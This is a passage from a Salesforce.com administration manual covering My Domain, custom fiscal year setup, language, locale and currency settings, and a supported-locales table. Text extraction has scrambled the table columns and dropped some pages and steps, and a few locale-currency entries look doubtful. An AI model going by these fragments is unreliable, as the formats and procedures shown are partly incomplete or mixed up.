organization is ready to use the new domain URLs exclusively, return to setup and choose the Blocked option so
users can't use their old URLs.
• If you are using My Domain, you can identify which users are logging in with the new login URL, and when. Click
Setup ➤ Manage Users ➤ Login History and look at the Username and Login URL columns.
1. Go to trust.salesforce.com.
2. Click the System Status tab.
3. Enter your domain name to find your instance and check the status.
4. Scroll to the System Maintenance table and look for entries for your instance.
See Also:
My Domain Overview
Using My Domain
349
Company Information Setting the Fiscal Year
You can set one of two types of fiscal years: standard fiscal years or custom fiscal years. For specific information on both types
of fiscal years, see About Fiscal Years on page 351.
350
Company Information About Fiscal Years
If you are not certain you want to enable custom fiscal years, click Cancel.
6. Once you have enabled custom fiscal years, define your fiscal year. See Defining a Custom Fiscal Year on page 358.
See Also:
Setting Up Customizable Forecasting
About Fiscal Years
Defining a Custom Fiscal Year
Choosing a Custom Fiscal Year Template
Not all businesses use the Gregorian year for their fiscal year. Salesforce.com makes it easy for you to define a fiscal year that
fits your business needs.
351
Company Information About Fiscal Years
If your fiscal year follows the Gregorian calendar, but does not start in January, you can simply and easily set your fiscal year
by defining a standard fiscal year. If your fiscal year follows a different structure, you can define a custom fiscal year that meets
your needs.
Whether you use a standard fiscal year or a custom fiscal year, you can define individual fiscal years once for your entire
organization. These fiscal year definitions allow you to use these fiscal periods throughout Salesforce.com including in reporting,
opportunities, and forecasting.
Tip: As a best practice, define your custom fiscal years after your current forecast. Also, update product schedules and
forecasts whenever a custom fiscal year is created or changed.
See Also:
Setting the Fiscal Year
352
Company Information Customizing the Fiscal Year Structure
- When you define a new custom fiscal year, or when you change the length of any fiscal period, all quotas for that year
will be lost.
- When you define a new custom fiscal year, or when you change the length of any fiscal period, forecasts, forecast history,
and forecast overrides are lost. Changing the length of a period may also affect the previous or next fiscal year and
reports associated with it. Forecasts for periods before the first custom fiscal year will be saved and can be accessed as
usual.
- Forecast reports for a period after the last defined fiscal year cannot be grouped by period, only by date.
- To ensure your forecast reports have the most updated amounts, view the forecast for the period included in the report
before running a forecast report.
• Your organization will not be able to use fiscal period columns in opportunity, opportunity with product, or opportunity
with schedule reports.
• Opportunity list views will not include a fiscal period columns.
• When custom fiscal years are enabled, you can't use the FISCAL_MONTH(), FISCAL_QUARTER(), or FISCAL_YEAR()
date functions in SOQL. For more information on SOQL date functions, see the Web Services API Developer's Guide.
If your custom fiscal year needs a different structure than one available from the templates, you can use advanced customization
to modify the details of your custom fiscal year definition. Custom fiscal years allow you to:
353
Company Information Customizing the Fiscal Year Structure
Note: Resetting the fiscal year structure to a template removes all the customizations you made to the fiscal year.
354
Company Information Customizing the Fiscal Year Labels
Once you have customized your fiscal year, preview the fiscal year definition. If it is correct, close the preview and click Save
to save your fiscal year.
See Also:
Defining a Custom Fiscal Year
About Fiscal Years
Choosing a Custom Fiscal Year Template
There are two ways to customize the labeling of your fiscal year:
Numbered by Year
This option allows you to add the quarter number to the quarter label. The quarter label is a combination of the
label for the quarter prefix and the quarter number. For example, if the quarter prefix is “Q”, the label for the third
quarter Q3. To customize the quarter prefix, see Quarter Prefix on page 356. By default the number for each
quarter is set by their order (the first quarter is labeled “1”), but you can customize it by selecting a different value
from the quarter detail drop-down list.
Numbered By Year
This option allows you to set the period label based on its position in the year. The period label is a combination
of the period prefix and the period number. Period numbers do not reset in each quarter. For example, if the period
355
Company Information Customizing the Fiscal Year Labels
prefix is “P,” the label for the sixth period is P6. To customize the Period Prefix, see Period Prefix on
page 356. By default the number for each period is set by their order (the first period is labeled “1”), but you can
customize it by selecting a different value from the period detail drop-down list.
Numbered By Quarter
This option allows you to set the period label based on its position in the quarter. The period label is a combination
of the period prefix and the period number. Period numbers reset in each quarter. For example, if the period prefix
is “P,” and the sixth period is the second period in the second quarter, its label is P2. To customize the period
prefix, see Period Prefix on page 356. By default the number for each period is set by their order within the
quarter (the first period in a quarter is labeled “1”), but you can customize it by selecting a different value from the
period detail drop-down list.
Period Prefix
The period prefix picklist is a list of options for the text that prefixes the period number or name if your fiscal year uses
the Numbered By Year period naming scheme. For example, if the fiscal quarter is called “P4,” the “P” is the period
prefix.
Quarter Name
The quarter name picklist is a list of options for the quarter name if your fiscal year uses the Custom Quarter Names
quarter naming scheme. For example, if you want to name your quarters for the seasons (Spring, Summer, Fall, and
Winter), you could set the quarter name list to those values.
Period Name
The period name picklist is a list of options for the quarter name if your fiscal year uses the Custom Period Names
quarter naming scheme. Similar to the quarter name picklist, you can choose meaningful names for the period name
picklist.
356
Company Information Choosing a Custom Fiscal Year Template
When defining a new custom fiscal year, your first step is to choose a custom fiscal year template. These templates are available
to make it easier for you to define your custom fiscal year. They create a simple custom fiscal year that you can customize to
meet your exact needs.
Note: If you choose a template and realize that it is not the best one for your fiscal year definition, you can reset it at
any time using the Reset Fiscal Year Structure option. For more information, see Customizing the Fiscal Year
Structure on page 353.
4-5-4
Within each quarter, period 1 has 4 weeks, period 2 has 5 weeks, and period 3 has 4 weeks
5-4-4
Within each quarter, period 1 has 5 weeks, period 2 has 4 weeks, and period 3 has 4 weeks
3-3-4-3
Quarter 1 has 3 periods, quarter 2 has 3 periods, quarter 3 has 4 periods, and quarter 4 has 3 periods
357
Company Information Defining a Custom Fiscal Year
3-4-3-3
Quarter 1 has 3 periods, quarter 2 has 4 periods, quarter 3 has 3 periods, and quarter 4 has 3 periods
4-3-3-3
Quarter 1 has 4 periods, quarter 2 has 3 periods, quarter 3 has 3 periods, and quarter 4 has 3 periods
Gregorian Calendar
12 months/year, standard Gregorian calendar.
Unlike the other template styles, you cannot do advanced customization of a fiscal year that has been created from a
Gregorian calendar template. You should only use this template if you want to create a fiscal year that follows the
Gregorian calendar. This template mimics the functionality of standard fiscal years.
See Also:
Defining a Custom Fiscal Year
About Fiscal Years
Before defining a custom fiscal year, enable custom fiscal years for your organization. See Enabling Custom Fiscal Years on
page 350 for more information.
Enabling custom fiscal years does not automatically define them. You must define all of your company's custom fiscal years
so that they fit your company's calendar.
If you have defined a custom fiscal year and you need to change it, you can edit the existing fiscal year definition. Custom
fiscal years cannot be deleted. Instead of deleting an existing fiscal year, edit it until it meets your needs.
Before defining or editing any custom fiscal years, be aware of its impact on forecasting, reports, and other objects by reviewing
About Fiscal Years on page 351.
358
Company Information Defining a Custom Fiscal Year
4. Set the fiscal year start date, the fiscal year name, and choose the week start day. You can also add a description for the
fiscal year.
Note: If this is the first custom fiscal year you have defined, the Fiscal Year Start Date and the Week
Start Date are set to today's date and day of week. If you have already defined a custom fiscal year, they will be
set to the day after the last end date of your custom fiscal years.
If you need to make changes other than the start date, year name, or week start day, see Customizing the Fiscal Year
Structure on page 353.
5. Optionally, review the fiscal year definition by clicking on Preview.
If it is correct, close the preview and click Save to save your fiscal year, or Save & New to save your fiscal year and define
another fiscal year.
Caution: If you change the start or end date of any quarter, period, or week, all forecast data (including quotas,
forecast history, and forecast overrides) that are within that date range, and all forecasts for date ranges automatically
adjusted as a result of that change, will be lost. This includes end or start date changes resulting from inserting or
deleting periods.
5. Click Preview.
6. Review the fiscal year definition. If it is correct, close the preview and click Save to save your fiscal year. If you need to
make more detailed edits, see Customizing the Fiscal Year Structure on page 353.
Note: Unless you specify them, the fiscal year period labels for forecasting and reporting will be set by the default
label values for the fiscal year periods. If you would like to change them, see Customizing the Fiscal Year Labels
on page 355.
See Also:
Setting the Fiscal Year
Choosing a Custom Fiscal Year Template
Additional Options for Updating Picklists
About Fiscal Years
359
Company Information Understanding Language, Locale, and Currency
The Salesforce.com settings for language, locale, time zone, and currency can affect how objects (Accounts, Leads, Opportunities,
etc.) are handled. In a single currency organization, the Salesforce.com administrators set the currency locale, default language,
default locale, and default time zone for their organizations and the users can set their individual language, locale, and time
zone. In a multiple currency organization, the Salesforce.com administrators set the corporate currency, default language,
default locale, and default time zone for their organizations and the users can set their individual currency, language, locale,
and time zone.
Note: Single language organizations cannot change their language, although they can change their locale.
Setting Who can edit the setting How to edit the setting Description and effects of the
setting
Currency User in a multiple currency Go to Setup ➤ My Personal User’s default currency for
organization Information ➤ Personal quotas, forecasts, and reports.
Information ➤ Edit and Shown only in organizations
select a currency from the using multiple currencies. This
activated currencies must be one of the active
drop-down list. currencies for the
organization.
Corporate Currency Administrator in a multiple Go to Setup ➤ Company The currency in which the
currency organization Profile ➤ Manage organization's corporate
Currencies ➤ Change headquarters reports revenue.
Corporate and select a Serves as the basis for all
currency from the New currency conversion rates.
Corporate Currency Only for organizations that
drop-down list. use multiple currencies.
To add a currency, click New,
select a currency from the
supported currency drop-down
list, enter a conversion rate,
enter the number of decimal
places you want, and click
360
Company Information Understanding Language, Locale, and Currency
Setting Who can edit the setting How to edit the setting Description and effects of the
setting
Save or Save & New to add
another currency.
361
Company Information Understanding Language, Locale, and Currency
Setting Who can edit the setting How to edit the setting Description and effects of the
setting
parentheses also set a organizations, individual users
default currency can set their personal locale,
which overrides the
organization setting. In Group
Edition, this field is called
Locale.
Default Time Zone Administrator Go to Setup ➤ Company Primary time zone in which
Profile ➤ Company the organization is located. A
Information ➤ Edit and user's individual Time Zone
select a time zone from the setting overrides the
supported time zone organization's Default
drop-down list. Time Zone setting.
Note: Organizations in
Arizona should select
“Mountain Standard Time,”
and organizations in parts of
Indiana that do not follow
Daylight Savings Time should
select “Eastern Standard
Time.”
Information Currency Not editable Not editable The default currency for all
currency amount fields in the
user record. Available only for
organizations that use multiple
currencies.
Language User Go to Setup ➤ My Personal The primary language for the
Information ➤ Personal user. All text and online help
Information ➤ Edit and is displayed in this language.
select a language from the In Professional, Enterprise,
supported language on page and Unlimited Edition
2562 drop-down list. organizations, a user’s
individual Language setting
overrides the organization’s
Default Language.
362
Company Information Understanding Language, Locale, and Currency
Setting Who can edit the setting How to edit the setting Description and effects of the
setting
Locale User Go to Setup ➤ My Personal Country or geographic region
Information ➤ Personal in which user is located.
Information ➤ Edit and
The Locale setting affects
select a locale from the
the format of date, date/time,
supported locale drop-down
and number fields, and the
list.
calendar. For example, dates
Note: Locale names in the English (United States)
with a country in locale display as 06/30/2000
parentheses also set a and as 30/06/2000 in the
default currency English (United Kingdom)
locale. Times in the English
(United States) locale display
using a twelve-hour clock with
AM and PM (for example,
2:00 PM), whereas in the
English (United Kingdom)
locale, they display using a
twenty-four-hour clock (for
example, 14:00).
The Locale setting also
affects the first and last name
order on Name fields for users,
leads, and contacts. For
example, Bob Johnson in the
English (United States) locale
displays as Bob Johnson,
whereas the Chinese (China)
locale displays the name as
Johnson Bob.
For Personal Edition users,
the locale is set at the
organization level via Setup
➤ Company Profile ➤
Company Information. For
all other users, their personal
locale, available at Setup ➤
My Personal Information ➤
Personal Information,
overrides the organization
setting.
363
Company Information Supported Currencies
Setting Who can edit the setting How to edit the setting Description and effects of the
setting
Time Zone User Go to Setup ➤ My Personal Primary time zone in which
Information ➤ Personal user works.
Information ➤ Edit and
Users in Arizona should select
select a time zone from the
the setting with
supported time zone
“America/Phoenix,” and users
drop-down list.
in parts of Indiana that do not
follow Daylight Savings Time
should select the setting with
“America/Indianapolis.”
See Also:
About Company Information
Supported Currencies
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
364
Company Information Supported Currencies
365
Company Information Supported Currencies
366
Company Information Supported Currencies
367
Company Information Supported Currencies
368
Company Information Supported Currencies
369
Company Information Supported Locales
See Also:
Understanding Language, Locale, and Currency
Supported Locales
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
Name Code Default Date and Time format Number Name format Address
currency time format format format
Arabic ar 02/01/2008 06:00 1,234.56 Ms. FName Address Line
04:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country
Arabic ar_AE UAE Dirham: 02/01/2008 06:00 1,234.56 Ms. FName Address Line
(United Arab AED 04:30 PM LName 1,
Emirates)
Address Line
2
370
Company Information Supported Locales
Name Code Default Date and Time format Number Name format Address
currency time format format format
City, State
ZipCode
Country
Arabic ar_BH Bahraini 02/01/2008 06:00 1,234.56 Ms. FName Address Line
(Bahrain) Dinar: BHD 04:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country
Arabic ar_JO Jordanian 02/01/2008 06:00 1,234.56 Ms. FName Address Line
( Jordan) Dinar: JOD 04:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country
Arabic ar_KW Kuwaiti 02/01/2008 06:00 1,234.56 Ms. FName Address Line
(Kuwait) Dinar: KWD 04:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country
Arabic ar_LB Lebanese 02/01/2008 06:00 1,234.56 Ms. FName Address Line
(Lebanon) Pound: LBP 04:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country
Arabic (Saudi ar_SA Saudi Arabian 02/01/2008 06:00 1,234.56 Ms. FName Address Line
Arabia) Riyal: SAR 04:30 PM LName 1,
Address Line
2
371
Company Information Supported Locales
Name Code Default Date and Time format Number Name format Address
currency time format format format
City, State
ZipCode
Country
Bulgarian bg_BG Bulgaria Lev: 2008-1-2 6:00 1 234,56 Ms. FName Address Line
(Bulgaria) BGN 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
Catalan ca_ES Spanish 02/01/2008 06:00 1.234,56 Ms. FName Address Line
(Spain) Peseta: ESP 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
Catalan ca_ES_EURO Euro: EUR 02/01/2008 06:00 1.234,56 Ms. FName Address Line
(Spain,Euro) 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
372
Company Information Supported Locales
Name Code Default Date and Time format Number Name format Address
currency time format format format
City, State
ZipCode
Country
Czech (Czech cs_CZ Czech 2.1.2008 6:00 1 234,56 Ms. FName Address Line
Republic) Koruna: CZK 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
Danish da_DK Danish 02-01-2008 06:00 1.234,56 Ms. FName Address Line
(Denmark) Krone: DKK 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
German de_AT Austrian 02.01.2008 06:00 1.234,56 Ms. FName Address Line
(Austria) Schilling: 16:30 LName 1,
ATS
Address Line
2
ZipCode City
373
Company Information Supported Locales
Name Code Default Date and Time format Number Name format Address
currency time format format format
State Country
German de_AT_EURO Euro: EUR 02.01.2008 06:00 1.234,56 Ms. FName Address Line
(Austria,Euro) 16:30 LName 1,
Address Line
2
ZipCode City
State Country
German de_CH Swiss Franc: 02.01.2008 06:00 1'234.56 Ms. FName Address Line
(Switzerland) CHF 16:30 LName 1,
Address Line
2
ZipCode City
State Country
German de_DE German 02.01.2008 06:00 1.234,56 Ms. FName Address Line
(Germany) Mark: DEM 16:30 LName 1,
Address Line
2
ZipCode City
State Country
German de_DE_EURO Euro: EUR 02.01.2008 06:00 1.234,56 Ms. FName Address Line
(Germany,Euro) 16:30 LName 1,
Address Line
2
ZipCode City
State Country
German de_LU Luxembourg 02.01.2008 06:00 1.234,56 Ms. FName Address Line
(Luxembourg) Franc: LUF 16:30 LName 1,
Address Line
2
ZipCode City
State Country
374
Company Information Supported Locales
Name Code Default Date and Time format Number Name format Address
currency time format format format
German de_LU_EURO Euro: EUR 02.01.2008 06:00 1.234,56 Ms. FName Address Line
(Luxembourg,Euro) 16:30 LName 1,
Address Line
2
ZipCode City
State Country
Greek el_GR Greek 2/1/2008 4:30 6:00 μ 1.234,56 Ms. FName Address Line
(Greece) Drachma: PM LName 1,
EUR
Address Line
2
City, State
ZipCode
Country
English en_AU Australian 2/01/2008 6:00 AM 1,234.56 Ms. FName Address Line
(Australia) Dollar: AUD 4:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country
English en_BB Barbados 1/2/2008 4:30 6:00 AM 1,234.56 Ms. FName Address Line
(Barbados) Dollar: BBD PM LName 1,
Address Line
2
City, State
ZipCode
Country
375
Company Information Supported Locales
Name Code Default Date and Time format Number Name format Address
currency time format format format
English en_BM Bermuda 1/2/2008 4:30 6:00 AM 1,234.56 Ms. FName Address Line
(Bermuda) Dollar: BMD PM LName 1,
Address Line
2
City, State
ZipCode
Country
English en_CA Canadian 02/01/2008 6:00 AM 1,234.56 Ms. FName Address Line
(Canada) Dollar: CAD 4:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country
English en_GB British 02/01/2008 06:00 1,234.56 Ms. FName Address Line
(United Pound: GBP 16:30 LName 1,
Kingdom)
Address Line
2
City, State
ZipCode
Country
English en_GH Ghanian Cedi 1/2/2008 4:30 6:00 AM 1,234.56 Ms. FName Address Line
(Ghana) (New): GHS PM LName 1,
Address Line
2
City, State
ZipCode
Country
English en_IN Indian rupee: 1/2/2008 4:30 6:00 AM 1,234.56 Ms. FName Address Line
(India) INR PM LName 1,
Address Line
2
City, State
ZipCode
Country
376
Company Information Supported Locales
Name Code Default Date and Time format Number Name format Address
currency time format format format
English en_ID Indonesian 1/2/2008 4:30 6:00 AM 1,234.56 Ms. FName Address Line
(Indonesia) Rupiah: IDR PM LName 1,
Address Line
2
City, State
ZipCode
Country
English en_IE Irish Punt: 02/01/2008 06:00 1,234.56 Ms. FName Address Line
(Ireland) IEP 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
English en_IE_EURO Euro: EUR 02/01/2008 06:00 1,234.56 Ms. FName Address Line
(Ireland,Euro) 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
English (New en_NZ New Zealand 2/01/2008 6:00 AM 1,234.56 Ms. FName Address Line
Zealand) Dollar: NZD 4:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country
English en_SG Singapore 1/2/2008 4:30 6:00 AM 1,234.56 Ms. FName Address Line
(Singapore) Dollar: SGD PM LName 1,
Address Line
2
City, State
ZipCode
Country
377
Company Information Supported Locales
Name Code Default Date and Time format Number Name format Address
currency time format format format
English en_US U.S. Dollar: 1/2/2008 4:30 6:00 AM 1,234.56 Ms. FName Address Line
(United USD PM LName 1,
States)
Address Line
2
City, State
ZipCode
Country
English en_ZA South African 2008/01/02 6:00 AM 1,234.56 Ms. FName Address Line
(South Africa) Rand: ZAR 4:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country
Spanish es_AR Argentine 02/01/2008 06:00 1.234,56 Ms. FName Address Line
(Argentina) Peso: ARS 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
Spanish es_BO Bolivian 02-01-2008 06:00 AM 1.234,56 Ms. FName Address Line
(Bolivia) Boliviano: 04:30 PM LName 1,
BOB
Address Line
2
City, State
ZipCode
Country
378
Company Information Supported Locales
Name Code Default Date and Time format Number Name format Address
currency time format format format
Spanish es_CL Chilean Peso: 02-01-2008 06:00 AM 1.234,56 Ms. FName Address Line
(Chile) CLP 04:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country
Spanish es_CO Colombian 2/01/2008 06:00 AM 1.234,56 Ms. FName Address Line
(Colombia) Peso: COP 04:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country
Spanish es_CR Costa Rica 02/01/2008 06:00 AM 1,234.56 Ms. FName Address Line
(Costa Rica) Colon: CRC 04:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country
Spanish es_EC CFA Franc 02/01/2008 06:00 AM 1.234,56 Ms. FName Address Line
(Ecuador) (BEAC): 04:30 PM LName 1,
XAF
Address Line
2
City, State
ZipCode
Country
Spanish es_ES Spanish 2/01/2008 6:00 1.234,56 Ms. FName Address Line
(Spain) Peseta: ESP 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
379
Company Information Supported Locales
Name Code Default Date and Time format Number Name format Address
currency time format format format
Spanish es_ES_EURO Euro: EUR 2/01/2008 6:00 1.234,56 Ms. FName Address Line
(Spain,Euro) 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
Spanish es_GT Guatemala 2/01/2008 06:00 AM 1,234.56 Ms. FName Address Line
(Guatemala) Quetzal: 04:30 PM LName 1,
GTQ
Address Line
2
City, State
ZipCode
Country
Spanish es_HN Honduras 01-02-2008 06:00 AM 1,234.56 Ms. FName Address Line
(Honduras) Lempira: 04:30 PM LName 1,
HNL
Address Line
2
City, State
ZipCode
Country
Spanish es_MX Mexican 2/01/2008 06:00 AM 1,234.56 Ms. FName Address Line
(Mexico) Unidad de 04:30 PM LName 1,
Inversion
Address Line
(UDI): MXV
2
City, State
ZipCode
Country
Spanish es_PE Peruvian 02/01/2008 06:00 AM 1.234,56 Ms. FName Address Line
(Peru) Nuevo Sol: 04:30 PM LName 1,
PEN
Address Line
2
City, State
ZipCode
Country
380
Company Information Supported Locales
Name Code Default Date and Time format Number Name format Address
currency time format format format
Spanish es_PR U.S. Dollar: 01-02-2008 06:00 AM 1,234.56 Ms. FName Address Line
(Puerto Rico) USD 04:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country
Spanish es_PY Paraguayan 02/01/2008 06:00 AM 1.234,56 Ms. FName Address Line
(Paraguay) Guarani: 04:30 PM LName 1,
PYG
Address Line
2
City, State
ZipCode
Country
Spanish (El es_SV El Salvador 01-02-2008 06:00 AM 1,234.56 Ms. FName Address Line
Salvador) Colon: USD 04:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country
Spanish es_UY Uruguayan 02/01/2008 06:00 AM 1.234,56 Ms. FName Address Line
(Uruguay) New Peso: 04:30 PM LName 1,
UYU
Address Line
2
City, State
ZipCode
Country
Spanish es_VE Venezuelan 02/01/2008 06:00 AM 1.234,56 Ms. FName Address Line
(Venezuela) Bolivar 04:30 PM LName 1,
Fuerte: VEF
Address Line
2
City, State
ZipCode
Country
381
Company Information Supported Locales
Name Code Default Date and Time format Number Name format Address
currency time format format format
Estonian et_EE Estonian 2.01.2008 6:00 1 234,56 Ms. FName Address Line
(Estonia) Kroon: EEK 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
Finnish fi_FI Finnish Mark: 2.1.2008 6:00 1 234,56 Ms. FName Address Line
(Finland) FIM 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
Finnish fi_FI_EURO Euro: EUR 2.1.2008 6:00 1 234,56 Ms. FName Address Line
(Finland,Euro) 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
382
Company Information Supported Locales
Name Code Default Date and Time format Number Name format Address
currency time format format format
French fr_BE Belgian Franc: 2/01/2008 6:00 1.234,56 Ms. FName Address Line
(Belgium) BEF 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
French fr_CA Canadian 2008-01-02 06:00 1 234,56 Ms. FName Address Line
(Canada) Dollar: CAD 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
French fr_CH Swiss Franc: 02.01.2008 06:00 1'234.56 Ms. FName Address Line
(Switzerland) CHF 16:30 LName 1,
Address Line
2
City
Country -
State
ZipCode
French fr_FR French Franc: 02/01/2008 06:00 1 234,56 Ms. FName Address Line
(France) FRF 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
French fr_FR_EURO Euro: EUR 02/01/2008 06:00 1 234,56 Ms. FName Address Line
(France,Euro) 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
383
Company Information Supported Locales
Name Code Default Date and Time format Number Name format Address
currency time format format format
French fr_LU Luxembourg 02/01/2008 06:00 1 234,56 Ms. FName Address Line
(Luxembourg) Franc: LUF 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
French fr_MC Moroccan 02/01/2008 06:00 1 234,56 Ms. FName Address Line
(Monaco) Dirham: 16:30 LName 1,
MAD
Address Line
2
City, State
ZipCode
Country
Croatian hr_HR Croatian 02.01.2008. 06:00 1.234,56 Ms. FName Address Line
(Croatia) Kuna: HRK 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
Armenian hy_AM Armenian 1/2/2008 4:30 6:00 AM 1,234.56 Ms. FName Address Line
(Armenia) Dram: AMD PM LName 1,
Address Line
2
City, State
ZipCode
Country
384
Company Information Supported Locales
Name Code Default Date and Time format Number Name format Address
currency time format format format
Indonesian in 2008/01/02 06:00 1.234,56 Ms. FName Address Line
16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
Icelandic is_IS Iceland 2.1.2008 06:00 1.234,56 Ms. FName Address Line
(Iceland) Krona: ISK 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
Italian it_CH Swiss Franc: 02.01.2008 06:00 1'234.56 Ms. FName Address Line
(Switzerland) CHF 16:30 LName 1,
Address Line
2
City
Country -
State
ZipCode
Italian (Italy) it_IT Italian Lira: 02/01/2008 6.00 1.234,56 Ms. FName Address Line
ITL 16.30 LName 1,
Address Line
2
City, State
ZipCode
Country
385
Company Information Supported Locales
Name Code Default Date and Time format Number Name format Address
currency time format format format
Hebrew iw 16:30 06:00 1,234.56 Ms. FName Address Line
02/01/2008 LName 1,
Address Line
2
City, State
ZipCode
Country
Hebrew iw_IL Israeli Shekel: 16:30 06:00 1,234.56 Ms. FName Address Line
(Israel) ILS 02/01/2008 LName 1,
Address Line
2
City, State
ZipCode
Country
Kazakh kk_KZ Kazakhstan 1/2/2008 4:30 6:00 AM 1,234.56 Ms. FName Address Line
(Kazakhstan) Tenge: KZT PM LName 1,
Address Line
2
City, State
ZipCode
Country
386
Company Information Supported Locales
Name Code Default Date and Time format Number Name format Address
currency time format format format
Khmer km_KH Cambodia 1/2/2008 4:30 6:00 AM 1,234.56 Ms. FName Address Line
(Cambodia) Riel: KHR PM LName 1,
Address Line
2
City, State
ZipCode
Country
Lithuanian lt_LT Lithuanian 2008.1.2 06.00 1 234,56 Ms. FName Address Line
(Lithuania) Lita: LTL 16.30 LName 1,
Address Line
2
City, State
ZipCode
Country
Latvian lv_LV Latvian Lat: 2008.2.1 06:00 1 234,56 Ms. FName Address Line
(Latvia) LVL 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
387
Company Information Supported Locales
Name Code Default Date and Time format Number Name format Address
currency time format format format
Malay ms_MY Malaysian 02/01/2008 6:00 AM 1,234.56 Ms. FName Address Line
(Malaysia) Ringgit: MYR 4:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country
Dutch nl_BE Belgian Franc: 2/01/2008 6:00 1.234,56 Ms. FName Address Line
(Belgium) BEF 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
Dutch nl_NL Dutch 2-1-2008 6:00 1.234,56 Ms. FName Address Line
(Netherlands) Guilder: 16:30 LName 1,
NLG
Address Line
2
City, State
ZipCode
Country
Dutch nl_SR Surinam 2-1-2008 6:00 1.234,56 Ms. FName Address Line
(Suriname) Dollar: SRD 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
388
Company Information Supported Locales
Name Code Default Date and Time format Number Name format Address
currency time format format format
Norwegian no 02.01.2008 06:00 1 234,56 Ms. FName Address Line
16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
Norwegian no_NO Norwegian 02.01.2008 06:00 1 234,56 Ms. FName Address Line
(Norway) Krone: NOK 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
Portuguese pt_AO Angola 02-01-2008 6:00 1.234,56 Ms. FName Address Line
(Angola) Kwanza: 16:30 LName 1,
AOA
Address Line
2
City, State
ZipCode
Country
389
Company Information Supported Locales
Name Code Default Date and Time format Number Name format Address
currency time format format format
Portuguese pt_BR Brazilian 02/01/2008 06:00 1.234,56 Ms. FName Address Line
(Brazil) Real: BRL 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
Portuguese pt_PT Portuguese 02-01-2008 6:00 1.234,56 Ms. FName Address Line
(Portugal) Escudo: PTE 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
Romanian ro_RO Romanian 02.01.2008 06:00 1.234,56 Ms. FName Address Line
(Romania) Leu (New): 16:30 LName 1,
RON
Address Line
2
City, State
ZipCode
Country
390
Company Information Supported Locales
Name Code Default Date and Time format Number Name format Address
currency time format format format
Russian ru_RU Russian 02.01.2008 6:00 1 234,56 Ms. FName Address Line
(Russia) Rouble: RUB 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
Slovak sk_SK Slovak 2.1.2008 6:00 1 234,56 Ms. FName Address Line
(Slovakia) Koruna: SKK 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
Slovenian sl_SI Slovenian 2.1.08 16:30 6:00 1.234,56 Ms. FName Address Line
(Slovenia) Tolar: SIT LName 1,
Address Line
2
City, State
ZipCode
Country
Swedish sv_SE Swedish 2008-01-02 06:00 1 234,56 Ms. FName Address Line
(Sweden) Krona: SEK 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country
391
Company Information Supported Locales
Name Code Default Date and Time format Number Name format Address
currency time format format format
Thai th 2/1/2008, 6:00 . 1,234.56 Ms. FName Address Line
16:30 . LName 1,
Address Line
2
City, State
ZipCode
Country
Thai th_TH Thai Baht: 2/1/2551, 6:00 . 1,234.56 Ms. FName Address Line
(Thailand) THB 16:30 . LName 1,
Address Line
2
City, State
ZipCode
Country
Ukrainian uk_UA Ukraine 02.01.2008 6:00 1.234,56 Ms. FName Address Line
(Ukraine) Hryvnia: 16:30 LName 1,
UAH
Address Line
2
City, State
ZipCode
Country
392
Company Information Supported Locales
Name Code Default Date and Time format Number Name format Address
currency time format format format
Urdu ur_PK Pakistani 1/2/2008 4:30 6:00 AM 1,234.56 Ms. FName Address Line
(Pakistan) Rupee: PKR PM LName 1,
Address Line
2
City, State
ZipCode
Country
Vietnamese vi_VN Vietnam 16:30 06:00 1.234,56 Ms. FName Address Line
(Vietnam) Dong: VND 02/01/2008 LName 1,
Address Line
2
City, State
ZipCode
Country
393
Company Information Supported Time Zones
Name Code Default Date and Time format Number Name format Address
currency time format format format
Chinese zh_HK Hong Kong 2008 1 2 6:00 1,234.56 LName Country
(Hong Kong) Dollar: HKD PM4:30 FName
ZipCode
State City
Address Line
1,
Address Line
2
See Also:
Understanding Language, Locale, and Currency
394
Company Information Supported Time Zones
395
Company Information Supported Time Zones
396
Company Information Supported Time Zones
See Also:
Understanding Language, Locale, and Currency
397
Company Information Company Information Fields
The Company Information page has the following fields (listed in alphabetical order), including the user and feature licenses
purchased for your organization.
Field Description
Active Salesforce.com Users Number of active Salesforce.com users for the organization.
